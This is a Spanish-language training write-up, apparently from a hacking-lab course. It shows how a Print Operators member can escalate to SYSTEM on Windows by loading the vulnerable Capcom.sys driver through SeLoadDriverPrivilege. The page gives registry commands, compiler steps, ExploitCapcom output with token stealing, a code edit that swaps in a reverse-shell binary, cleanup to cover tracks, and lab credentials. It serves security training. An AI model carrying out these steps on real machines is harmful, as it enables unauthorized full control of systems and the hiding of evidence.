Page cover image

📘Print Operators

Los operadores de impresión son otro grupo con muchos privilegios, que otorga a sus miembros los derechos SeLoadDriverPrivilege para administrar, crear, compartir y eliminar impresoras conectadas a un controlador de dominio, así como la capacidad de iniciar sesión localmente en un controlador de dominio y apagarlo. Si emitimos el comando whoami /priv y no vemos el SeLoadDriverPrivilege desde un contexto no elevado, necesitaremos omitir el UAC.

Explotación con interfaz gráfica

Confirmando privilegios

C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name           Description                          State
======================== =================================    =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process   Disabled
SeChangeNotifyPrivilege  Bypass traverse checking             Enabled
SeShutdownPrivilege      Shut down the system                 Disabled

Comprobando nuevamente los privilegios

El repositorio de UACMe incluye una lista completa de omisiones de UAC, que se pueden utilizar desde la línea de comandos. Alternativamente, desde una GUI, podemos abrir un shell de comandos administrativos e ingresar las credenciales de la cuenta que es miembro del grupo Operadores de impresión. Si examinamos los privilegios nuevamente, SeLoadDriverPrivilege está visible pero deshabilitado.

C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================  ==========
SeMachineAccountPrivilege     Add workstations to domain           Disabled
SeLoadDriverPrivilege         Load and unload device drivers       Disabled
SeShutdownPrivilege           Shut down the system			       Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled

Es bien sabido que el controlador Capcom.syscontiene una funcionalidad que permite a cualquier usuario ejecutar código shell con privilegios de SISTEMA. Podemos usar nuestros privilegios para cargar este controlador vulnerable y escalar privilegios. Podemos usar esta herramienta para cargar el controlador. La PoC habilita el privilegio y también carga el controlador por nosotros.

Descárguelo localmente y edítelo, pegándolo sobre los archivos incluidos a continuación.

#include <windows.h>
#include <assert.h>
#include <winternl.h>
#include <sddl.h>
#include <stdio.h>
#include "tchar.h"

A continuación, desde el CMD para desarrolladores de Visual Studio 2019, compílelo usando cl.exe .

Compilar con cl.exe

C:\Users\mrb3n\Desktop\Print Operators>cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp

Microsoft (R) C/C++ Optimizing Compiler Version 19.28.29913 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

EnableSeLoadDriverPrivilege.cpp
Microsoft (R) Incremental Linker Version 14.28.29913.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:EnableSeLoadDriverPrivilege.exe
EnableSeLoadDriverPrivilege.obj

Agregar referencia al controlador

A continuación, descargue el Capcom.syscontrolador desde aquí y guárdelo en C:\temp. Ejecute los comandos siguientes para agregar una referencia a este controlador en nuestro árbol HKEY_CURRENT_USER.

C:\htb> reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"

The operation completed successfully.


C:\htb> reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1

The operation completed successfully.

La sintaxis extraña \??\que se utiliza para hacer referencia a la ruta de imagen de nuestro controlador malicioso es una ruta de objeto NT . La API Win32 analizará y resolverá esta ruta para localizar y cargar correctamente nuestro controlador malicioso.

Verificar que el controlador no esté cargado

Usando DriverView.exe de Nirsoft , podemos verificar que el controlador Capcom.sys no esté cargado.

PS C:\htb> .\DriverView.exe /stext drivers.txt
PS C:\htb> cat drivers.txt | Select-String -pattern Capcom

Verificar que el privilegio esté habilitado

Ejecute el binario EnableSeLoadDriverPrivilege.exe.

C:\htb> EnableSeLoadDriverPrivilege.exe

whoami:
INLANEFREIGHT0\printsvc

whoami /priv
SeMachineAccountPrivilege        Disabled
SeLoadDriverPrivilege            Enabled
SeShutdownPrivilege              Disabled
SeChangeNotifyPrivilege          Enabled by default
SeIncreaseWorkingSetPrivilege    Disabled
NTSTATUS: 00000000, WinError: 0

Verificar que el controlador de Capcom esté en la lista

A continuación, verifique que el controlador de Capcom ahora aparezca en la lista.

PS C:\htb> .\DriverView.exe /stext drivers.txt
PS C:\htb> cat drivers.txt | Select-String -pattern Capcom

Driver Name           : Capcom.sys
Filename              : C:\Tools\Capcom.sys

ExploitCapcom para aumentar los privilegios

Para explotar el Capcom.sys, podemos utilizar la herramienta ExploitCapcom después de compilar con Visual Studio.

PS C:\htb> .\ExploitCapcom.exe

[*] Capcom.sys exploit
[*] Capcom.sys handle was obained as 0000000000000070
[*] Shellcode was placed at 0000024822A50008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched

Esto lanza un shell con privilegios de SYSTEM.


Explotación alternativa: sin interfaz gráfica de usuario

Si no tenemos acceso GUI al objetivo, tendremos que modificar el código de ExploitCapcom.cpp antes de compilar. Aquí podemos editar la línea 292 y reemplazarla con "C:\\Windows\\system32\\cmd.exe", digamos, un binario de reverse shell creado con msfvenom, por ejemplo: c:\ProgramData\revshell.exe.

// Launches a command shell process
static bool LaunchShell()
{
    TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
    PROCESS_INFORMATION ProcessInfo;
    STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
    if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
        CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
        &ProcessInfo))
    {
        return false;
    }

    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
    return true;
}

La string CommandLine en este ejemplo se cambiaría a:

 TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe");

Configuraríamos un receptor en función del payload que generamos con msfvenom y, con suerte, recibiríamos una conexión de shell reversa al ejecutar ExploitCapcom.exe. Si una conexión de shell reversa se bloquea por algún motivo, podemos intentar un payload de usuario de bind shell o exec/add.


Automatizar los pasos

Automatización con EopLoadDriver

Podemos utilizar una herramienta como EoPLoadDriver para automatizar el proceso de habilitar el privilegio, crear la clave de registro y ejecutar la carga NTLoadDriver del controlador. Para ello, ejecutaríamos lo siguiente:

C:\htb> EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys

[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-454284637-3659702366-2958135535-1103\System\CurrentControlSet\Capcom
NTSTATUS: c000010e, WinError: 0

Luego correríamos ExploitCapcom.exe para abrir un shell de SYSTEM o ejecutaríamos nuestro binario personalizado.


Limpieza

Eliminar clave de registro

Podemos cubrir un poco nuestras huellas eliminando la clave de registro agregada anteriormente.

C:\htb> reg delete HKCU\System\CurrentControlSet\Capcom

Permanently delete the registry key HKEY_CURRENT_USER\System\CurrentControlSet\Capcom (Yes/No)? Yes

The operation completed successfully.

Nota: Desde Windows 10 versión 1803, el "SeLoadDriverPrivilege" no se puede explotar, ya que ya no es posible incluir referencias a claves de registro en "HKEY_CURRENT_USER".


Caso práctico

Objetivo: 10.129.43.43 (ACADEMY-WINLPE-SRV01)

RDP con el usuario "jordan" y la contraseña "HTB_@cademy_j0rdan!"

Siga los pasos de esta sección para escalar privilegios a SYSTEM y enviar el contenido del archivo flag.txt del escritorio del administrador. Las herramientas necesarias para ambos métodos se pueden encontrar en el directorio C:\Tools, o puede practicar compilándolas y cargándolas por su cuenta.

Comprobar privilegios del usuario

Última actualización

¿Te fue útil?